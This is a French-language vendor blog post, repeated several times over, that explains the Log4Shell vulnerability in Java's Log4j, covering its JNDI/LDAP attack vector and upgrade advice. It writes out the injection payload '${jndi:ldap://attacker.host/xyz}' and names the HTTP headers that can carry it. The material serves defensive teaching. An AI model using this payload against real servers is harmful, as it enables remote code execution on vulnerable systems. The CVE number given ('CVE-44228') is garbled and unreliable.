La vulnérabilité Log4j expliquée - Son vecteur d'attaque et comment la prévenir
Le 9 décembre, une vulnérabilité de type « zero-day » dans la bibliothèque Java Log4j a été révélée. CVE-44228, également appelé Log 4 Shell, a reçu une note de « gravité élevée » car l'exploit peut entraîner l'exécution de code à distance (RIZ). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus couramment utilisées et met donc en danger des millions d'applications.
Souhaitez-vous améliorer rapidement vos compétences en vous attaquant à Log4Shell ?
Nous avons développé une vitrine qui vous guide depuis le concept de base de Log4Shell jusqu'à la découverte des exploits de cette vulnérabilité dans un simulateur appelé Mission. Au cours de cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou poursuivre votre lecture pour en savoir plus sur cette vulnérabilité.
Des nouvelles déjà connues ?
L'exploit n'est pas nouveau. Déjà lors de leur conférence BlackHat 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh ont souligné que «les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables », et ont illustré comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est précisément ce qui est au cœur de Log4Shell.
Vecteur d'attaque
La charge d'injection utile de Log4Shell se présente comme suit :
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
Ensuite, il y a la JNDI, ou Java directory and directory interface, qui est une API permettant de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. afin de récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité particulièrement préoccupante, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les entrées utilisateur enregistrées en syntaxe EL avec le préfixe « jndi ». La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User Agent et X-Forwarded-Pour, et d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour découvrir l'exploit par vous-même, veuillez vous rendre sur notre vitrine et passer à l'étape 2 : « L'impact de l'expérience ».
Prévention : sensibilisation
La mise à niveau est recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient toutefois un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est conseillé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, il est essentiel de toujours prendre en compte la sécurité. Log4Shell nous a démontré que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas intervenir car les composants vulnérables sont introduits par des logiciels tiers. D'un autre côté, la leçon à en tirer est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais se fier aux entrées de l'utilisateur.
Secure Code Warrior que les développeurs soucieux de la sécurité constituent la meilleure solution pour prévenir l'apparition de vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au framework de programmation, les entreprises clientes ont pu rapidement identifier les développeurs Java concernés à l'aide des données de reporting. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer les directives de codage, ainsi que pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser notre outil prêt à l'emploi livres de cuisine. Nous vous invitons à contribuer à nos recettes et n'oubliez pas de télécharger notre Log4j Recetbook qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Renforcez vos compétences en matière de défense contre Log4Shell
Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Notre vitrine peut vous être utile. Au début de la présentation, vous obtiendrez un aperçu rapide de cette vulnérabilité, puis vous serez redirigé vers un environnement simulé où vous pourrez tester l'exploit à l'aide d'instructions guidées.
En décembre 2021, une faille de sécurité critique Log4Shell a été identifiée dans la bibliothèque Java Log4j. Dans cet article, nous présentons la vulnérabilité Log4Shell de la manière la plus simple afin que vous puissiez en saisir les bases et vous proposer une mission : un terrain de jeu où vous pouvez tenter d'exploiter un site Web simulé en utilisant vos connaissances sur cette vulnérabilité.
Secure Code Warrior là pour aider votre organisation à sécuriser le code tout au long du cycle de développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable de la sécurité des applications, développeur, responsable de la sécurité informatique ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Veuillez réserver une démonstration.
Laura Verheyde est une développeuse de logiciels chez Secure Code Warrior qui se concentre sur la recherche de vulnérabilités et la création de contenu pour les missions et les laboratoires de codage.
Le 9 décembre, une vulnérabilité de type « zero-day » dans la bibliothèque Java Log4j a été révélée. CVE-44228, également appelé Log 4 Shell, a reçu une note de « gravité élevée » car l'exploit peut entraîner l'exécution de code à distance (RIZ). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus couramment utilisées et met donc en danger des millions d'applications.
Souhaitez-vous améliorer rapidement vos compétences en vous attaquant à Log4Shell ?
Nous avons développé une vitrine qui vous guide depuis le concept de base de Log4Shell jusqu'à la découverte des exploits de cette vulnérabilité dans un simulateur appelé Mission. Au cours de cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou poursuivre votre lecture pour en savoir plus sur cette vulnérabilité.
Des nouvelles déjà connues ?
L'exploit n'est pas nouveau. Déjà lors de leur conférence BlackHat 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh ont souligné que «les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables », et ont illustré comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est précisément ce qui est au cœur de Log4Shell.
Vecteur d'attaque
La charge d'injection utile de Log4Shell se présente comme suit :
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
Ensuite, il y a la JNDI, ou Java directory and directory interface, qui est une API permettant de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. afin de récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité particulièrement préoccupante, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les entrées utilisateur enregistrées en syntaxe EL avec le préfixe « jndi ». La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User Agent et X-Forwarded-Pour, et d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour découvrir l'exploit par vous-même, veuillez vous rendre sur notre vitrine et passer à l'étape 2 : « L'impact de l'expérience ».
Prévention : sensibilisation
La mise à niveau est recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient toutefois un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est conseillé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, il est essentiel de toujours prendre en compte la sécurité. Log4Shell nous a démontré que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas intervenir car les composants vulnérables sont introduits par des logiciels tiers. D'un autre côté, la leçon à en tirer est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais se fier aux entrées de l'utilisateur.
Secure Code Warrior que les développeurs soucieux de la sécurité constituent la meilleure solution pour prévenir l'apparition de vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au framework de programmation, les entreprises clientes ont pu rapidement identifier les développeurs Java concernés à l'aide des données de reporting. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer les directives de codage, ainsi que pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser notre outil prêt à l'emploi livres de cuisine. Nous vous invitons à contribuer à nos recettes et n'oubliez pas de télécharger notre Log4j Recetbook qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Renforcez vos compétences en matière de défense contre Log4Shell
Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Notre vitrine peut vous être utile. Au début de la présentation, vous obtiendrez un aperçu rapide de cette vulnérabilité, puis vous serez redirigé vers un environnement simulé où vous pourrez tester l'exploit à l'aide d'instructions guidées.
Le 9 décembre, une vulnérabilité de type « zero-day » dans la bibliothèque Java Log4j a été révélée. CVE-44228, également appelé Log 4 Shell, a reçu une note de « gravité élevée » car l'exploit peut entraîner l'exécution de code à distance (RIZ). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus couramment utilisées et met donc en danger des millions d'applications.
Souhaitez-vous améliorer rapidement vos compétences en vous attaquant à Log4Shell ?
Nous avons développé une vitrine qui vous guide depuis le concept de base de Log4Shell jusqu'à la découverte des exploits de cette vulnérabilité dans un simulateur appelé Mission. Au cours de cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou poursuivre votre lecture pour en savoir plus sur cette vulnérabilité.
Des nouvelles déjà connues ?
L'exploit n'est pas nouveau. Déjà lors de leur conférence BlackHat 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh ont souligné que «les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables », et ont illustré comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est précisément ce qui est au cœur de Log4Shell.
Vecteur d'attaque
La charge d'injection utile de Log4Shell se présente comme suit :
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
Ensuite, il y a la JNDI, ou Java directory and directory interface, qui est une API permettant de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. afin de récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité particulièrement préoccupante, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les entrées utilisateur enregistrées en syntaxe EL avec le préfixe « jndi ». La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User Agent et X-Forwarded-Pour, et d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour découvrir l'exploit par vous-même, veuillez vous rendre sur notre vitrine et passer à l'étape 2 : « L'impact de l'expérience ».
Prévention : sensibilisation
La mise à niveau est recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient toutefois un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est conseillé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, il est essentiel de toujours prendre en compte la sécurité. Log4Shell nous a démontré que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas intervenir car les composants vulnérables sont introduits par des logiciels tiers. D'un autre côté, la leçon à en tirer est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais se fier aux entrées de l'utilisateur.
Secure Code Warrior que les développeurs soucieux de la sécurité constituent la meilleure solution pour prévenir l'apparition de vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au framework de programmation, les entreprises clientes ont pu rapidement identifier les développeurs Java concernés à l'aide des données de reporting. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer les directives de codage, ainsi que pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser notre outil prêt à l'emploi livres de cuisine. Nous vous invitons à contribuer à nos recettes et n'oubliez pas de télécharger notre Log4j Recetbook qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Renforcez vos compétences en matière de défense contre Log4Shell
Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Notre vitrine peut vous être utile. Au début de la présentation, vous obtiendrez un aperçu rapide de cette vulnérabilité, puis vous serez redirigé vers un environnement simulé où vous pourrez tester l'exploit à l'aide d'instructions guidées.
Veuillez cliquer sur le lien ci-dessous et télécharger le PDF de cette ressource.
Secure Code Warrior là pour aider votre organisation à sécuriser le code tout au long du cycle de développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable de la sécurité des applications, développeur, responsable de la sécurité informatique ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Veuillez consulter le rapportVeuillez réserver une démonstration.
Laura Verheyde est une développeuse de logiciels chez Secure Code Warrior qui se concentre sur la recherche de vulnérabilités et la création de contenu pour les missions et les laboratoires de codage.
Le 9 décembre, une vulnérabilité de type « zero-day » dans la bibliothèque Java Log4j a été révélée. CVE-44228, également appelé Log 4 Shell, a reçu une note de « gravité élevée » car l'exploit peut entraîner l'exécution de code à distance (RIZ). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus couramment utilisées et met donc en danger des millions d'applications.
Souhaitez-vous améliorer rapidement vos compétences en vous attaquant à Log4Shell ?
Nous avons développé une vitrine qui vous guide depuis le concept de base de Log4Shell jusqu'à la découverte des exploits de cette vulnérabilité dans un simulateur appelé Mission. Au cours de cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou poursuivre votre lecture pour en savoir plus sur cette vulnérabilité.
Des nouvelles déjà connues ?
L'exploit n'est pas nouveau. Déjà lors de leur conférence BlackHat 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh ont souligné que «les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables », et ont illustré comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est précisément ce qui est au cœur de Log4Shell.
Vecteur d'attaque
La charge d'injection utile de Log4Shell se présente comme suit :
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
Ensuite, il y a la JNDI, ou Java directory and directory interface, qui est une API permettant de se connecter à des services à l'aide de protocoles tels que LDAP, DNS, RMI, etc. afin de récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité particulièrement préoccupante, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les entrées utilisateur enregistrées en syntaxe EL avec le préfixe « jndi ». La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User Agent et X-Forwarded-Pour, et d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour découvrir l'exploit par vous-même, veuillez vous rendre sur notre vitrine et passer à l'étape 2 : « L'impact de l'expérience ».
Prévention : sensibilisation
La mise à niveau est recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient toutefois un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est conseillé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, il est essentiel de toujours prendre en compte la sécurité. Log4Shell nous a démontré que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas intervenir car les composants vulnérables sont introduits par des logiciels tiers. D'un autre côté, la leçon à en tirer est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais se fier aux entrées de l'utilisateur.
Secure Code Warrior que les développeurs soucieux de la sécurité constituent la meilleure solution pour prévenir l'apparition de vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au framework de programmation, les entreprises clientes ont pu rapidement identifier les développeurs Java concernés à l'aide des données de reporting. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer les directives de codage, ainsi que pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser notre outil prêt à l'emploi livres de cuisine. Nous vous invitons à contribuer à nos recettes et n'oubliez pas de télécharger notre Log4j Recetbook qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Renforcez vos compétences en matière de défense contre Log4Shell
Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Notre vitrine peut vous être utile. Au début de la présentation, vous obtiendrez un aperçu rapide de cette vulnérabilité, puis vous serez redirigé vers un environnement simulé où vous pourrez tester l'exploit à l'aide d'instructions guidées.
Table des matières
Secure Code Warrior là pour aider votre organisation à sécuriser le code tout au long du cycle de développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable de la sécurité des applications, développeur, responsable de la sécurité informatique ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Veuillez réserver une démonstration.TéléchargerRessources pour vous aider à démarrer
Thèmes et contenus de formation sur le code sécurisé
Notre contenu de pointe évolue constamment pour s'adapter à l'évolution constante du paysage du développement de logiciels tout en tenant compte de votre rôle. Des sujets couvrant tout, de l'IA à l'injection XQuery, proposés pour une variété de postes, allant des architectes aux ingénieurs en passant par les chefs de produit et l'assurance qualité. Découvrez un aperçu de ce que notre catalogue de contenu a à offrir par sujet et par rôle.
La Chambre de commerce établit la norme en matière de sécurité à grande échelle axée sur les développeurs
La Chambre de commerce néerlandaise explique comment elle a intégré le codage sécurisé dans le développement quotidien grâce à des certifications basées sur les rôles, à l'évaluation comparative du Trust Score et à une culture de responsabilité partagée en matière de sécurité.
%20(1).avif)
.avif)
Modélisation des menaces avec l'IA : transformer chaque développeur en modélisateur de menaces
Vous repartirez mieux équipé pour aider les développeurs à combiner les idées et les techniques de modélisation des menaces avec les outils d'IA qu'ils utilisent déjà pour renforcer la sécurité, améliorer la collaboration et créer des logiciels plus résilients dès le départ.
Ressources pour vous aider à démarrer
Cybermon est de retour : les missions Beat the Boss sont désormais disponibles sur demande.
Cybermon 2025 : Vaincre le Boss est désormais accessible toute l'année dans SCW. Mettez en œuvre des défis de sécurité avancés liés à l'IA et au LLM afin de renforcer le développement sécurisé de l'IA à grande échelle.
Explication de la loi sur la cyber-résilience : implications pour le développement de logiciels sécurisés dès leur conception
Découvrez les exigences de la loi européenne sur la cyber-résilience (CRA), à qui elle s'applique et comment les équipes d'ingénieurs peuvent se préparer grâce à des pratiques de sécurité dès la conception, à la prévention des vulnérabilités et au renforcement des capacités des développeurs.
Facilitateur 1 : Critères de réussite clairement définis et mesurables
Enabler 1 inaugure notre série en 10 parties intitulée « Enablers of Success » en démontrant comment associer le codage sécurisé à des résultats commerciaux tels que la réduction des risques et la rapidité afin d'assurer la maturité à long terme des programmes.
